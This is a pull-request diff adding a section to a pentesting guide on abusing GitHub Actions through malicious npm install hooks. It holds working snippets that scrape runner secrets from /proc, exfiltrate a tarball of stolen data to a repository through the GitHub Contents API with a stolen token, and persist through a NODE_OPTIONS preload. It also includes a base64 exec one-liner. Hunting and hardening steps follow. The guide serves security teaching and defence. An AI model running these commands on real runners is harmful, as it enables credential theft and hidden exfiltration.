Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
105 changes: 105 additions & 0 deletions src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -726,6 +726,108 @@ import base64,os;exec(base64.b64decode(os.environ["STAGE2_B64"]))

Drop the line above into a file such as `evil.pth` inside `site-packages` and it will execute during Python startup. This is especially useful in build agents that continuously spawn Python tooling (`pip`, linters, test runners, release scripts).

#### Procfs secret scraping, GitHub API dead-drops, and Node preload persistence

A newer and nastier variant of the **malicious `preinstall` / `postinstall` supply-chain pattern** is to use the package hook only as the **first stage**, then immediately pivot into **runner secret scraping**, **GitHub-native exfiltration**, and **developer-tool persistence**.

**Technique chain seen in the wild:**

- The attacker publishes a trojanized npm package version with a `preinstall` / `postinstall` script (for example, `node -e "require('./.build/preinstall.js')"`).
- As soon as the package installs in CI, the payload enumerates **runner processes and credential files** instead of relying only on log output.
- If the workflow has GitHub credentials, the malware can exfiltrate via the **GitHub Contents API** so outbound traffic looks like legitimate GitHub activity.
- On self-hosted runners or developer workstations, the payload can persist by dropping a preload file and forcing future Node.js programs to execute it via `NODE_OPTIONS=--require <file>`.

**Why this matters in GitHub Actions:** GitHub log masking only hides values when they reach the logs. If attacker code runs on the runner, it can often still recover the underlying plaintext secrets from the process environment, memory, temp scripts, credential files, or local tool configs.

##### 1) Procfs-based secret scraping on Linux runners

Instead of printing `${{ secrets.* }}` directly, the payload can inspect Linux procfs to recover values held by the runner worker process:

```bash
PID=$(pgrep -f 'Runner.Worker|runner.worker')
tr '\0' ' ' < "/proc/$PID/cmdline"
cat /proc/self/maps | grep heap
strings "/proc/$PID/environ" | grep -E 'ACTIONS_|GITHUB_|AWS_|AZURE_|GOOGLE_'
# When permissions allow it, read raw process memory too:
# dd if=/proc/$PID/mem bs=1 skip=<start> count=<len> 2>/dev/null
```

High-value targets include `ACTIONS_RUNTIME_TOKEN`, `ACTIONS_CACHE_URL`, `GITHUB_TOKEN`, cloud OIDC / STS credentials, package-publisher tokens, and any long-lived secrets that the workflow loaded into the environment.

##### 2) GitHub Contents API as a dead-drop exfil channel

If the malware steals a write-capable GitHub token, it does not need a noisy attacker-controlled C2. It can exfiltrate into a repository using normal GitHub API calls:

```bash
PAYLOAD_B64=$(tar cz /tmp/stolen 2>/dev/null | base64 -w0)
curl -s -X PUT \
-H "Authorization: Bearer $GITHUB_TOKEN" \
-H 'Accept: application/vnd.github+json' \
"https://api.github.com/repos/<owner>/<repo>/contents/.telemetry" \
-d @- <<EOF
{
"message": "chore: update telemetry",
"content": "$PAYLOAD_B64"
}
EOF
```

This blends into expected GitHub API traffic much better than posting directly to an obvious attacker domain. In incident response, treat **unexpected `PUT` / `PATCH` / `POST` calls to `api.github.com/repos/*/contents/*`** from runners as high-signal exfiltration or tampering.

##### 3) Node.js preload persistence outside the workflow

Even after secrets are rotated, a compromised install can persist by writing an attacker-controlled preload such as `/tmp/.node_preload.js` or `~/.node_preload.js` and then causing future Node.js sessions to load it first:

```json
{
"terminal.integrated.env.linux": {
"NODE_OPTIONS": "--require /tmp/.node_preload.js"
}
}
```

Useful persistence targets include:

- `~/.config/Code/User/settings.json`
- `~/Library/Application Support/Code/User/settings.json`
- `~/.claude/config.json`
- shell startup files or other developer tooling that exports `NODE_OPTIONS`

This is especially relevant after **GitHub Actions compromise on self-hosted runners** or when a developer runs `npm install` locally while reusing the same repo and tokens.

> [!NOTE]
> GitHub blocks setting `NODE_OPTIONS` via `GITHUB_ENV`, but malware running on the host can still persist by editing config files, shell startup files, or other local environment sources.

##### 4) Hunting and containment

If a suspicious dependency executed in GitHub Actions or on a self-hosted runner, assume the environment is compromised and check at least:

```bash
# Find install hooks in the dependency tree
find node_modules -name package.json -print0 | xargs -0 grep -nE 'preinstall|postinstall|prepare'

# Hunt for preload persistence
ls -la /tmp/.node_preload.js ~/.node_preload.js
grep -Rni 'NODE_OPTIONS\|node_preload' ~/.config/Code ~/.claude ~/.bashrc ~/.zshrc 2>/dev/null

# Review package pinning / lockfiles
npm ls <package-name> 2>/dev/null
jq '.packages // {}' package-lock.json 2>/dev/null | grep -n '"version"'

# Review suspicious GitHub API writes or odd telemetry-like traffic
ss -tnp | grep -E 'api\.github\.com|m-kosche\.com'
```

On GitHub-hosted runners, the VM is ephemeral, but any **stolen tokens remain valid until rotated**. On **self-hosted runners**, rebuild from a known-good image instead of trying to surgically clean the box.

##### 5) Hardening install-time supply-chain exposure

- Prefer **`npm ci`** over `npm install` in CI so the lockfile is authoritative.
- Pin sensitive dependencies exactly instead of allowing wide semver drift.
- Disable install scripts where possible (`npm config set ignore-scripts true`).
- Prefer **trusted publishing / OIDC-backed publishing** over long-lived registry tokens in `~/.npmrc`.
- If using pnpm, consider **`minimumReleaseAge`**, **`blockExoticSubdeps`**, and explicit build-script allowlisting so freshly published or unusual dependencies do not execute automatically.

#### Alternate exfil when outbound traffic is filtered

If direct exfiltration is blocked but the workflow still has a write-capable `GITHUB_TOKEN`, the runner can abuse GitHub itself as the transport:
Expand Down Expand Up @@ -910,5 +1012,8 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
- [Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Security Infrastructure](https://unit42.paloaltonetworks.com/teampcp-supply-chain-attacks/)
- [Shai-Hulud Is Back, and This Time It Ate the Whole Ecosystem](https://trustedsec.com/blog/shai-hulud-is-back)
- [Workflow commands for GitHub Actions](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions)
- [pnpm settings](https://pnpm.io/settings)

{{#include ../../../banners/hacktricks-training.md}}